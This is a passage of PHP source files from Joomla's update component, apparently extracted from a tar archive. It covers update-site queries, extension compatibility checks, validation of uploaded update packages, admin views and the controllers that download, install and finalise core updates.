$db->quoteName('e.element', 'ext_element'), $db->quoteName('e.type', 'ext_type'), $db->quoteName('e.folder', 'ext_folder'), ] ) ->from($db->quoteName('#__update_sites', 'us')) ->join( 'LEFT', $db->quoteName('#__update_sites_extensions', 'ue'), $db->quoteName('ue.update_site_id') . ' = ' . $db->quoteName('us.update_site_id') ) ->join( 'LEFT', $db->quoteName('#__extensions', 'e'), $db->quoteName('e.extension_id') . ' = ' . $db->quoteName('ue.extension_id') ) ->where($db->quoteName('e.extension_id') . ' = :id') ->bind(':id', $id, ParameterType::INTEGER); $db->setQuery($query); $result = $db->loadAssocList(); if (!is_array($result)) { return []; } return $result; } /** * Method to get details URLs from a collection update site for given extension and Joomla target version. * * @param array $updateSiteInfo The update site and extension information record to process * @param string $joomlaTargetVersion The Joomla! version to test against, * * @return array An array of URLs. * * @since 3.10.0 */ private function getCollectionDetailsUrls($updateSiteInfo, $joomlaTargetVersion) { $return = []; $http = new Http(); try { $response = $http->get($updateSiteInfo['location']); } catch (\RuntimeException $e) { $response = null; } if ($response === null || $response->code !== 200) { return $return; } $updateSiteXML = simplexml_load_string($response->body); foreach ($updateSiteXML->extension as $extension) { $attribs = new \stdClass(); $attribs->element = ''; $attribs->type = ''; $attribs->folder = ''; $attribs->targetplatformversion = ''; foreach ($extension->attributes() as $key => $value) { $attribs->$key = (string) $value; } if ( $attribs->element === $updateSiteInfo['ext_element'] && $attribs->type === $updateSiteInfo['ext_type'] && $attribs->folder === $updateSiteInfo['ext_folder'] && preg_match('/^' . $attribs->targetplatformversion . '/', $joomlaTargetVersion) ) { $return[] = (string) $extension['detailsurl']; } } return $return; } /** * Method to check non core extensions for compatibility. * * @param string $updateFileUrl The items update XML url. * @param string $joomlaTargetVersion The Joomla! version to test against * * @return array An array of strings with compatible version numbers * * @since 3.10.0 */ private function checkCompatibility($updateFileUrl, $joomlaTargetVersion) { $minimumStability = ComponentHelper::getParams('com_installer')->get('minimum_stability', Updater::STABILITY_STABLE); $update = new Update(); $update->set('jversion.full', $joomlaTargetVersion); $update->loadFromXml($updateFileUrl, $minimumStability); $compatibleVersions = $update->get('compatibleVersions'); // Check if old version of the updater library if (!isset($compatibleVersions)) { $downloadUrl = $update->get('downloadurl'); $updateVersion = $update->get('version'); return empty($downloadUrl) || empty($downloadUrl->_data) || empty($updateVersion) ? [] : [$updateVersion->_data]; } usort($compatibleVersions, 'version_compare'); return $compatibleVersions; } /** * Translates an extension name * * @param object &$item The extension of which the name needs to be translated * * @return void * * @since 3.10.0 */ protected function translateExtensionName(&$item) { // @todo: Cleanup duplicated code. from com_installer/models/extension.php $lang = Factory::getLanguage(); $path = $item->client_id ? JPATH_ADMINISTRATOR : JPATH_SITE; $extension = $item->element; $source = JPATH_SITE; switch ($item->type) { case 'component': $extension = $item->element; $source = $path . '/components/' . $extension; break; case 'module': $extension = $item->element; $source = $path . '/modules/' . $extension; break; case 'file': $extension = 'files_' . $item->element; break; case 'library': $extension = 'lib_' . $item->element; break; case 'plugin': $extension = 'plg_' . $item->folder . '_' . $item->element; $source = JPATH_PLUGINS . '/' . $item->folder . '/' . $item->element; break; case 'template': $extension = 'tpl_' . $item->element; $source = $path . '/templates/' . $item->element; } $lang->load("$extension.sys", JPATH_ADMINISTRATOR) || $lang->load("$extension.sys", $source); $lang->load($extension, JPATH_ADMINISTRATOR) || $lang->load($extension, $source); // Translate the extension name if possible $item->name = strip_tags(Text::_($item->name)); } /** * Checks whether a given template is active * * @param string $template The template name to be checked * * @return boolean * * @since 3.10.4 */ public function isTemplateActive($template) { $db = version_compare(JVERSION, '4.2.0', 'lt') ? $this->getDbo() : $this->getDatabase(); $query = $db->getQuery(true); $query->select( $db->quoteName( [ 'id', 'home', ] ) )->from( $db->quoteName('#__template_styles') )->where( $db->quoteName('template') . ' = :template' )->bind(':template', $template, ParameterType::STRING); $templates = $db->setQuery($query)->loadObjectList(); $home = array_filter( $templates, function ($value) { return $value->home > 0; } ); $ids = ArrayHelper::getColumn($templates, 'id'); $menu = false; if (count($ids)) { $query = $db->getQuery(true); $query->select( 'COUNT(*)' )->from( $db->quoteName('#__menu') )->whereIn( $db->quoteName('template_style_id'), $ids ); $menu = $db->setQuery($query)->loadResult() > 0; } return $home || $menu; } /** * Collect errors that happened during update. * * @param string $context A context/place where error happened * @param \Throwable $error The error that occurred * * @return void * * @since 4.4.0 */ public function collectError(string $context, \Throwable $error) { // Store error for further processing by controller $this->setError($error); // Log it Log::add( sprintf( 'An error has occurred while running "%s". Code: %s. Message: %s.', $context, $error->getCode(), $error->getMessage() ), Log::ERROR, 'Update' ); if (JDEBUG) { $trace = $error->getFile() . ':' . $error->getLine() . PHP_EOL . $error->getTraceAsString(); Log::add(sprintf('An error trace: %s.', $trace), Log::DEBUG, 'Update'); } } /** * Check the update package with ZipArchive class from zip PHP extension * * @param string $filePath Full path to the uploaded update package (temporary file) to test * @param string $packageName Name of the selected update package * * @return void * * @since 4.4.0 * @throws \RuntimeException */ private function checkPackageFileZip(string $filePath, $packageName) { $zipArchive = new \ZipArchive(); if ($zipArchive->open($filePath) !== true) { throw new \RuntimeException(Text::sprintf('COM_JOOMLAUPDATE_VIEW_UPLOAD_ERROR_PACKAGE_OPEN', $packageName), 500); } if ($zipArchive->locateName('installation/index.php') !== false) { throw new \RuntimeException(Text::sprintf('COM_JOOMLAUPDATE_VIEW_UPLOAD_ERROR_INSTALL_PACKAGE', $packageName), 500); } $manifestFile = $zipArchive->getFromName('administrator/manifests/files/joomla.xml'); if ($manifestFile === false) { throw new \RuntimeException(Text::sprintf('COM_JOOMLAUPDATE_VIEW_UPLOAD_ERROR_NO_MANIFEST_FILE', $packageName), 500); } $this->checkManifestXML($manifestFile, $packageName); } /** * Check the update package without using the ZipArchive class from zip PHP extension * * @param string $filePath Full path to the uploaded update package (temporary file) to test * @param string $packageName Name of the selected update package * * @return void * * @see https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT * @since 4.4.0 * @throws \RuntimeException */ private function checkPackageFileNoZip(string $filePath, $packageName) { // The file must exist and be readable if (!file_exists($filePath) || !is_readable($filePath)) { throw new \RuntimeException(Text::sprintf('COM_JOOMLAUPDATE_VIEW_UPLOAD_ERROR_PACKAGE_OPEN', $packageName), 500); } // The file must be at least 1KiB (anything less is not even a real file!) $filesize = filesize($filePath); if ($filesize < 1024) { throw new \RuntimeException(Text::sprintf('COM_JOOMLAUPDATE_VIEW_UPLOAD_ERROR_PACKAGE_OPEN', $packageName), 500); } // Open the file $fp = @fopen($filePath, 'rb'); if ($fp === false) { throw new \RuntimeException(Text::sprintf('COM_JOOMLAUPDATE_VIEW_UPLOAD_ERROR_PACKAGE_OPEN', $packageName), 500); } // Read chunks of max. 1MiB size $readsize = min($filesize, 1048576); // Signature of a file header inside a ZIP central directory header $headerSignature = pack('V', 0x02014b50); // File name size signature of the 'installation/index.php' file $sizeSignatureIndexPhp = pack('v', 0x0016); // File name size signature of the 'administrator/manifests/files/joomla.xml' file $sizeSignatureJoomlaXml = pack('v', 0x0028); $headerFound = false; $headerInfo = false; // Read chunks from the end to the start of the file $readStart = $filesize - $readsize; while ($readsize > 0 && fseek($fp, $readStart) === 0) { $fileChunk = fread($fp, $readsize); if ($fileChunk === false || strlen($fileChunk) !== $readsize) { @fclose($fp); throw new \RuntimeException(Text::sprintf('COM_JOOMLAUPDATE_VIEW_UPLOAD_ERROR_PACKAGE_OPEN', $packageName), 500); } $posFirstHeader = strpos($fileChunk, $headerSignature); if ($posFirstHeader === false) { break; } $headerFound = true; $offset = 0; // Look for installation/index.php while (($pos = strpos($fileChunk, 'installation/index.php', $offset)) !== false) { // Check if entry is a central directory file header and the file name is exactly 22 bytes long if (substr($fileChunk, $pos - 46, 4) == $headerSignature && substr($fileChunk, $pos - 18, 2) == $sizeSignatureIndexPhp) { @fclose($fp); throw new \RuntimeException(Text::sprintf('COM_JOOMLAUPDATE_VIEW_UPLOAD_ERROR_INSTALL_PACKAGE', $packageName), 500); } $offset = $pos + 22; } $offset = 0; // Look for administrator/manifests/files/joomla.xml if not found yet while ($headerInfo === false && ($pos = strpos($fileChunk, 'administrator/manifests/files/joomla.xml', $offset)) !== false) { // Check if entry is inside a ZIP central directory header and the file name is exactly 40 bytes long if (substr($fileChunk, $pos - 46, 4) == $headerSignature && substr($fileChunk, $pos - 18, 2) == $sizeSignatureJoomlaXml) { $headerInfo = unpack('VOffset', substr($fileChunk, $pos - 4, 4)); break; } $offset = $pos + 40; } // Done as all file content has been read if ($readStart === 0) { break; } // Calculate read start and read size for previous chunk in the file $readEnd = $readStart + $posFirstHeader; $readStart = max($readEnd - $readsize, 0); $readsize = $readEnd - $readStart; } // If no central directory file header found at all it's not a valid ZIP file if (!$headerFound) { @fclose($fp); throw new \RuntimeException(Text::sprintf('COM_JOOMLAUPDATE_VIEW_UPLOAD_ERROR_PACKAGE_OPEN', $packageName), 500); } // If no central directory file header found for the manifest XML file it's not a valid Joomla package if (!$headerInfo) { @fclose($fp); throw new \RuntimeException(Text::sprintf('COM_JOOMLAUPDATE_VIEW_UPLOAD_ERROR_NO_MANIFEST_FILE', $packageName), 500); } // Read the local file header of the manifest XML file fseek($fp, $headerInfo['Offset']); $localHeader = fread($fp, 30); $localHeaderInfo = unpack('VSig/vVersion/vBitFlag/vMethod/VTime/VCRC32/VCompressed/VUncompressed/vNameLength/vExtraLength', $localHeader); // Check for empty manifest file if (!$localHeaderInfo['Compressed']) { @fclose($fp); throw new \RuntimeException(Text::sprintf('COM_JOOMLAUPDATE_VIEW_UPLOAD_ERROR_NO_MANIFEST_FILE', $packageName), 500); } // Read the compressed manifest XML file content fseek($fp, $localHeaderInfo['NameLength'] + $localHeaderInfo['ExtraLength'], SEEK_CUR); $manifestFileCompressed = fread($fp, $localHeaderInfo['Compressed']); // Close package file @fclose($fp); // Uncompress the manifest XML file content $manifestFile = ''; switch ($localHeaderInfo['Method']) { case 0: // Uncompressed $manifestFile = $manifestFileCompressed; break; case 8: // Deflated $manifestFile = gzinflate($manifestFileCompressed); break; default: // Unsupported break; } if (!$manifestFile) { throw new \RuntimeException(Text::sprintf('COM_JOOMLAUPDATE_VIEW_UPLOAD_ERROR_NO_MANIFEST_FILE', $packageName), 500); } $this->checkManifestXML($manifestFile, $packageName); } /** * Check content of manifest XML file in update package * * @param string $manifest Content of the manifest XML file * @param string $packageName Name of the selected update package * * @return void * * @since 4.4.0 * @throws \RuntimeException */ private function checkManifestXML(string $manifest, $packageName) { $manifestXml = simplexml_load_string($manifest); if (!$manifestXml) { throw new \RuntimeException(Text::sprintf('COM_JOOMLAUPDATE_VIEW_UPLOAD_ERROR_NO_VERSION_FOUND', $packageName), 500); } $versionPackage = (string) $manifestXml->version ?: ''; if (!$versionPackage) { throw new \RuntimeException(Text::sprintf('COM_JOOMLAUPDATE_VIEW_UPLOAD_ERROR_NO_VERSION_FOUND', $packageName), 500); } $currentVersion = JVERSION; // Remove special version suffix for pull request patched packages if (($pos = strpos($currentVersion, '+pr.')) !== false) { $currentVersion = substr($currentVersion, 0, $pos); } if (version_compare($versionPackage, $currentVersion, 'lt')) { throw new \RuntimeException(Text::sprintf('COM_JOOMLAUPDATE_VIEW_UPLOAD_ERROR_DOWNGRADE', $packageName, $versionPackage, $currentVersion), 500); } } } src/View/Upload/HtmlView.php 0000644 00000005663 15173035674 0011766 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_joomlaupdate * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Joomlaupdate\Administrator\View\Upload; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Toolbar\ToolbarHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Joomla! Update's Update View * * @since 3.6.0 */ class HtmlView extends BaseHtmlView { /** * An array with the Joomla! update information. * * @var array * * @since 4.0.0 */ protected $updateInfo = null; /** * Flag if the update component itself has to be updated * * @var boolean True when update is available otherwise false * * @since 4.0.0 */ protected $selfUpdateAvailable = false; /** * Warnings for the upload update * * @var array An array of warnings which could prevent the upload update * * @since 4.0.0 */ protected $warnings = []; /** * Should I disable the confirmation checkbox for taking a backup before updating? * * @var boolean * @since 4.2.0 */ protected $noBackupCheck = false; /** * Renders the view. * * @param string $tpl Template name. * * @return void * * @since 3.6.0 */ public function display($tpl = null) { // Load com_installer's language $language = $this->getLanguage(); $language->load('com_installer', JPATH_ADMINISTRATOR, 'en-GB', false, true); $language->load('com_installer', JPATH_ADMINISTRATOR, null, true); $this->updateInfo = $this->get('UpdateInformation'); $this->selfUpdateAvailable = $this->get('CheckForSelfUpdate'); if ($this->getLayout() !== 'captive') { $this->warnings = $this->get('Items', 'warnings'); } $params = ComponentHelper::getParams('com_joomlaupdate'); $this->noBackupCheck = $params->get('backupcheck', 1) == 0; $this->addToolbar(); // Render the view. parent::display($tpl); } /** * Add the page title and toolbar. * * @return void * * @since 4.0.0 */ protected function addToolbar() { // Set the toolbar information. ToolbarHelper::title(Text::_('COM_JOOMLAUPDATE_OVERVIEW'), 'sync install'); $arrow = $this->getLanguage()->isRtl() ? 'arrow-right' : 'arrow-left'; ToolbarHelper::link('index.php?option=com_joomlaupdate&' . ($this->getLayout() == 'captive' ? 'view=upload' : ''), 'JTOOLBAR_BACK', $arrow); ToolbarHelper::divider(); ToolbarHelper::help('Joomla_Update'); } } src/View/Update/HtmlView.php 0000644 00000002107 15173035674 0011752 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_joomlaupdate * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Joomlaupdate\Administrator\View\Update; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Toolbar\ToolbarHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Joomla! Update's Update View * * @since 2.5.4 */ class HtmlView extends BaseHtmlView { /** * Renders the view. * * @param string $tpl Template name. * * @return void */ public function display($tpl = null) { Factory::getApplication()->getInput()->set('hidemainmenu', true); // Set the toolbar information. ToolbarHelper::title(Text::_('COM_JOOMLAUPDATE_OVERVIEW'), 'sync install'); // Render the view. parent::display($tpl); } } src/View/Joomlaupdate/HtmlView.php 0000644 00000024423 15173035674 0013161 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_joomlaupdate * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Joomlaupdate\Administrator\View\Joomlaupdate; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Toolbar\ToolbarHelper; use Joomla\CMS\Version; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Joomla! Update's Default View * * @since 2.5.4 */ class HtmlView extends BaseHtmlView { /** * An array with the Joomla! update information. * * @var array * * @since 3.6.0 */ protected $updateInfo = null; /** * PHP options. * * @var array Array of PHP config options * * @since 3.10.0 */ protected $phpOptions = null; /** * PHP settings. * * @var array Array of PHP settings * * @since 3.10.0 */ protected $phpSettings = null; /** * Non Core Extensions. * * @var array Array of Non-Core-Extensions * * @since 3.10.0 */ protected $nonCoreExtensions = null; /** * The model state * * @var \Joomla\CMS\Object\CMSObject * * @since 4.0.0 */ protected $state; /** * Flag if the update component itself has to be updated * * @var boolean True when update is available otherwise false * * @since 4.0.0 */ protected $selfUpdateAvailable = false; /** * The default admin template for the major version of Joomla that should be used when * upgrading to the next major version of Joomla * * @var string * * @since 4.0.0 */ protected $defaultBackendTemplate = 'atum'; /** * Flag if default backend template is being used * * @var boolean True when default backend template is being used * * @since 4.0.0 */ protected $isDefaultBackendTemplate = false; /** * A special prefix used for the emptystate layout variable * * @var string The prefix * * @since 4.0.0 */ protected $messagePrefix = ''; /** * A special text used for the emptystate layout to explain why there is no download * * @var string The message * * @since 4.4.0 */ protected $reasonNoDownload = ''; /** * Details on failed PHP or DB version requirements to be shown in the emptystate layout when there is no download * * @var \stdClass PHP and database requirements from the update manifest * * @since 4.4.2 */ protected $detailsNoDownload; /** * List of non core critical plugins * * @var \stdClass[] * @since 4.0.0 */ protected $nonCoreCriticalPlugins = []; /** * Should I disable the confirmation checkbox for pre-update extension version checks? * * @var boolean * @since 4.2.0 */ protected $noVersionCheck = false; /** * Should I disable the confirmation checkbox for taking a backup before updating? * * @var boolean * @since 4.2.0 */ protected $noBackupCheck = false; /** * Renders the view * * @param string $tpl Template name * * @return void * * @since 2.5.4 */ public function display($tpl = null) { $this->updateInfo = $this->get('UpdateInformation'); $this->selfUpdateAvailable = $this->get('CheckForSelfUpdate'); // Get results of pre update check evaluations $model = $this->getModel(); $this->phpOptions = $this->get('PhpOptions'); $this->phpSettings = $this->get('PhpSettings'); $this->nonCoreExtensions = $this->get('NonCoreExtensions'); $this->isDefaultBackendTemplate = (bool) $model->isTemplateActive($this->defaultBackendTemplate); $nextMajorVersion = Version::MAJOR_VERSION + 1; // The critical plugins check is only available for major updates. if (version_compare($this->updateInfo['latest'], (string) $nextMajorVersion, '>=')) { $this->nonCoreCriticalPlugins = $this->get('NonCorePlugins'); } // Set to true if a required PHP option is not ok $isCritical = false; foreach ($this->phpOptions as $option) { if (!$option->state) { $isCritical = true; break; } } $this->state = $this->get('State'); $hasUpdate = !empty($this->updateInfo['hasUpdate']); $hasDownload = isset($this->updateInfo['object']->downloadurl->_data); // Fresh update, show it if ($this->getLayout() == 'complete') { // Complete message, nothing to do here } elseif ($this->selfUpdateAvailable) { // There is an update for the updater itself. So we have to update it first $this->setLayout('selfupdate'); } elseif (!$hasDownload || !$hasUpdate) { // Could be that we have a download file but no update, so we offer a re-install if ($hasDownload) { // We can reinstall if we have a URL but no update $this->setLayout('reinstall'); } else { // No download available if ($hasUpdate) { $this->messagePrefix = '_NODOWNLOAD'; $this->reasonNoDownload = 'COM_JOOMLAUPDATE_NODOWNLOAD_EMPTYSTATE_REASON'; $this->detailsNoDownload = $this->updateInfo['object']->get('otherUpdateInfo'); } $this->setLayout('noupdate'); } } elseif ($this->getLayout() != 'update' && ($isCritical || $this->shouldDisplayPreUpdateCheck())) { // Here we have now two options: preupdatecheck or update $this->setLayout('preupdatecheck'); } else { $this->setLayout('update'); } if (in_array($this->getLayout(), ['preupdatecheck', 'update', 'upload'])) { $language = $this->getLanguage(); $language->load('com_installer', JPATH_ADMINISTRATOR, 'en-GB', false, true); $language->load('com_installer', JPATH_ADMINISTRATOR, null, true); Factory::getApplication()->enqueueMessage(Text::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_UPDATE_NOTICE'), 'warning'); } $params = ComponentHelper::getParams('com_joomlaupdate'); switch ($params->get('updatesource', 'default')) { // "Minor & Patch Release for Current version AND Next Major Release". case 'next': $this->langKey = 'COM_JOOMLAUPDATE_VIEW_DEFAULT_UPDATES_INFO_NEXT'; $this->updateSourceKey = Text::_('COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_NEXT'); break; // "Testing" case 'testing': $this->langKey = 'COM_JOOMLAUPDATE_VIEW_DEFAULT_UPDATES_INFO_TESTING'; $this->updateSourceKey = Text::_('COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_TESTING'); break; // "Custom" case 'custom': $this->langKey = 'COM_JOOMLAUPDATE_VIEW_DEFAULT_UPDATES_INFO_CUSTOM'; $this->updateSourceKey = Text::_('COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_CUSTOM'); break; /** * "Minor & Patch Release for Current version (recommended and default)". * The commented "case" below are for documenting where 'default' and legacy options falls * case 'default': * case 'sts': * case 'lts': * case 'nochange': */ default: $this->langKey = 'COM_JOOMLAUPDATE_VIEW_DEFAULT_UPDATES_INFO_DEFAULT'; $this->updateSourceKey = Text::_('COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_DEFAULT'); } $this->noVersionCheck = $params->get('versioncheck', 1) == 0; $this->noBackupCheck = $params->get('backupcheck', 1) == 0; // Remove temporary files $this->getModel()->removePackageFiles(); $this->addToolbar(); // Render the view. parent::display($tpl); } /** * Add the page title and toolbar. * * @return void * * @since 4.0.0 */ protected function addToolbar() { // Set the toolbar information. ToolbarHelper::title(Text::_('COM_JOOMLAUPDATE_OVERVIEW'), 'joomla install'); if (in_array($this->getLayout(), ['update', 'complete'])) { $arrow = $this->getLanguage()->isRtl() ? 'arrow-right' : 'arrow-left'; ToolbarHelper::link('index.php?option=com_joomlaupdate', 'JTOOLBAR_BACK', $arrow); ToolbarHelper::title(Text::_('COM_JOOMLAUPDATE_VIEW_DEFAULT_TAB_UPLOAD'), 'joomla install'); } elseif (!$this->selfUpdateAvailable) { ToolbarHelper::custom('update.purge', 'loop', '', 'COM_JOOMLAUPDATE_TOOLBAR_CHECK', false); } // Add toolbar buttons. $currentUser = version_compare(JVERSION, '4.2.0', 'ge') ? $this->getCurrentUser() : Factory::getApplication()->getIdentity(); if ($currentUser->authorise('core.admin')) { ToolbarHelper::preferences('com_joomlaupdate'); } ToolbarHelper::divider(); ToolbarHelper::help('Joomla_Update'); } /** * Returns true, if the pre update check should be displayed. * * @return boolean * * @since 3.10.0 */ public function shouldDisplayPreUpdateCheck() { // When the download URL is not found there is no core upgrade path if (!isset($this->updateInfo['object']->downloadurl->_data)) { return false; } $nextMinor = Version::MAJOR_VERSION . '.' . (Version::MINOR_VERSION + 1); // Show only when we found a download URL, we have an update and when we update to the next minor or greater. return $this->updateInfo['hasUpdate'] && version_compare($this->updateInfo['latest'], $nextMinor, '>='); } } src/Controller/DisplayController.php 0000644 00000007775 15173035674 0013673 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_joomlaupdate * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Joomlaupdate\Administrator\Controller; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\Controller\BaseController; use Joomla\CMS\Response\JsonResponse; use Joomla\CMS\Router\Route; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Joomla! Update Controller * * @since 2.5.4 */ class DisplayController extends BaseController { /** * Method to display a view. * * @param boolean $cachable If true, the view output will be cached. * @param array $urlparams An array of safe URL parameters and their variable types, for valid values see {@link \JFilterInput::clean()}. * * @return static This object to support chaining. * * @since 2.5.4 */ public function display($cachable = false, $urlparams = false) { // Get the document object. $document = $this->app->getDocument(); // Set the default view name and format from the Request. $vName = $this->input->get('view', 'Joomlaupdate'); $vFormat = $document->getType(); $lName = $this->input->get('layout', 'default', 'string'); // Get and render the view. if ($view = $this->getView($vName, $vFormat)) { // Only super user can access file upload if ($view == 'upload' && !$this->app->getIdentity()->authorise('core.admin', 'com_joomlaupdate')) { $this->app->redirect(Route::_('index.php?option=com_joomlaupdate', true)); } // Get the model for the view. /** @var \Joomla\Component\Joomlaupdate\Administrator\Model\UpdateModel $model */ $model = $this->getModel('Update'); /** @var ?\Joomla\Component\Installer\Administrator\Model\WarningsModel $warningsModel */ $warningsModel = $this->app->bootComponent('com_installer') ->getMVCFactory()->createModel('Warnings', 'Administrator', ['ignore_request' => true]); if ($warningsModel !== null) { $view->setModel($warningsModel, false); } // Check for update result if ($lName === 'complete') { $state = $model->getState(); $state->set('update_finished_with_error', $this->app->getUserState('com_joomlaupdate.update_finished_with_error')); $state->set('update_errors', (array) $this->app->getUserState('com_joomlaupdate.update_errors', [])); $state->set('installer_message', $this->app->getUserState('com_joomlaupdate.installer_message')); $state->set('log_file', $this->app->get('log_path') . '/joomla_update.php'); } // Perform update source preference check and refresh update information. $model->applyUpdateSite(); $model->refreshUpdates(); // Push the model into the view (as default). $view->setModel($model, true); $view->setLayout($lName); // Push document object into the view. $view->document = $document; $view->display(); } return $this; } /** * Provide the data for a badge in a menu item via JSON * * @return void * * @since 4.0.0 * @throws \Exception */ public function getMenuBadgeData() { if (!$this->app->getIdentity()->authorise('core.manage', 'com_joomlaupdate')) { throw new \Exception(Text::_('JGLOBAL_AUTH_ACCESS_DENIED')); } $model = $this->getModel('Update'); $model->refreshUpdates(); $joomlaUpdate = $model->getUpdateInformation(); $hasUpdate = $joomlaUpdate['hasUpdate'] ? $joomlaUpdate['latest'] : ''; echo new JsonResponse($hasUpdate); } } src/Controller/UpdateController.php 0000644 00000061551 15173035674 0013500 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_joomlaupdate * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Joomlaupdate\Administrator\Controller; use Joomla\CMS\Factory; use Joomla\CMS\Filesystem\File; use Joomla\CMS\Installer\Installer; use Joomla\CMS\Language\Text; use Joomla\CMS\Log\Log; use Joomla\CMS\MVC\Controller\BaseController; use Joomla\CMS\Response\JsonResponse; use Joomla\CMS\Session\Session; use Joomla\Component\Joomlaupdate\Administrator\Model\UpdateModel; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The Joomla! update controller for the Update view * * @since 2.5.4 */ class UpdateController extends BaseController { /** * Performs the download of the update package * * @return void * * @since 2.5.4 */ public function download() { $this->checkToken(); /** @var \Joomla\Component\Joomlaupdate\Administrator\Model\UpdateModel $model */ $model = $this->getModel('Update'); $user = $this->app->getIdentity(); // Make sure logging is working before continue try { Log::add('Test logging', Log::INFO, 'Update'); } catch (\Throwable $e) { $message = Text::sprintf('COM_JOOMLAUPDATE_UPDATE_LOGGING_TEST_FAIL', $e->getMessage()); $this->setRedirect('index.php?option=com_joomlaupdate', $message, 'error'); return; } Log::add(Text::sprintf('COM_JOOMLAUPDATE_UPDATE_LOG_START', $user->id, $user->name, \JVERSION), Log::INFO, 'Update'); $result = $model->download(); $file = $result['basename']; $message = null; $messageType = null; // The validation was not successful so stop. if ($result['check'] === false) { $message = Text::_('COM_JOOMLAUPDATE_VIEW_UPDATE_CHECKSUM_WRONG'); $messageType = 'error'; $url = 'index.php?option=com_joomlaupdate'; $this->app->setUserState('com_joomlaupdate.file', null); $this->setRedirect($url, $message, $messageType); try { Log::add($message, Log::ERROR, 'Update'); } catch (\RuntimeException $exception) { // Informational log only } return; } if ($file) { $this->app->setUserState('com_joomlaupdate.file', $file); $url = 'index.php?option=com_joomlaupdate&task=update.install&' . $this->app->getSession()->getFormToken() . '=1'; Log::add(Text::sprintf('COM_JOOMLAUPDATE_UPDATE_LOG_FILE', $file), Log::INFO, 'Update'); } else { $this->app->setUserState('com_joomlaupdate.file', null); $url = 'index.php?option=com_joomlaupdate'; $message = Text::_('COM_JOOMLAUPDATE_VIEW_UPDATE_DOWNLOADFAILED'); $messageType = 'error'; } $this->setRedirect($url, $message, $messageType); } /** * Start the installation of the new Joomla! version * * @return void * * @since 2.5.4 */ public function install() { $this->checkToken('get'); $this->app->setUserState('com_joomlaupdate.oldversion', JVERSION); /** @var \Joomla\Component\Joomlaupdate\Administrator\Model\UpdateModel $model */ $model = $this->getModel('Update'); Log::add(Text::_('COM_JOOMLAUPDATE_UPDATE_LOG_INSTALL'), Log::INFO, 'Update'); $file = $this->app->getUserState('com_joomlaupdate.file', null); $model->createRestorationFile($file); $this->display(); } /** * Finalise the upgrade by running the necessary scripts * * @return void * * @since 2.5.4 */ public function finalise() { /* * Finalize with login page. Used for pre-token check versions * to allow updates without problems but with a maximum of security. */ if (!Session::checkToken('get')) { $this->setRedirect('index.php?option=com_joomlaupdate&view=update&layout=finaliseconfirm'); return; } /** @var \Joomla\Component\Joomlaupdate\Administrator\Model\UpdateModel $model */ $model = $this->getModel('Update'); try { $model->finaliseUpgrade(); } catch (\Throwable $e) { $model->collectError('finaliseUpgrade', $e); } // Check for update errors if ($model->getErrors()) { // The errors already should be logged at this point // Collect a messages to show them later in the complete page $errors = []; foreach ($model->getErrors() as $error) { $errors[] = $error->getMessage(); } $this->app->setUserState('com_joomlaupdate.update_finished_with_error', true); $this->app->setUserState('com_joomlaupdate.update_errors', $errors); } // Check for captured output messages in the installer $msg = Installer::getInstance()->get('extension_message'); if ($msg) { $this->app->setUserState('com_joomlaupdate.installer_message', $msg); } $url = 'index.php?option=com_joomlaupdate&task=update.cleanup&' . Session::getFormToken() . '=1'; $this->setRedirect($url); } /** * Clean up after ourselves * * @return void * * @since 2.5.4 */ public function cleanup() { /* * Cleanup with login page. Used for pre-token check versions to be able to update * from =< 3.2.7 to allow updates without problems but with a maximum of security. */ if (!Session::checkToken('get')) { $this->setRedirect('index.php?option=com_joomlaupdate&view=update&layout=finaliseconfirm'); return; } /** @var \Joomla\Component\Joomlaupdate\Administrator\Model\UpdateModel $model */ $model = $this->getModel('Update'); try { $model->cleanUp(); } catch (\Throwable $e) { $model->collectError('cleanUp', $e); } // Check for update errors if ($model->getErrors()) { // The errors already should be logged at this point // Collect a messages to show them later in the complete page $errors = $this->app->getUserState('com_joomlaupdate.update_errors', []); foreach ($model->getErrors() as $error) { $errors[] = $error->getMessage(); } $this->app->setUserState('com_joomlaupdate.update_finished_with_error', true); $this->app->setUserState('com_joomlaupdate.update_errors', $errors); } $url = 'index.php?option=com_joomlaupdate&view=joomlaupdate&layout=complete'; // In 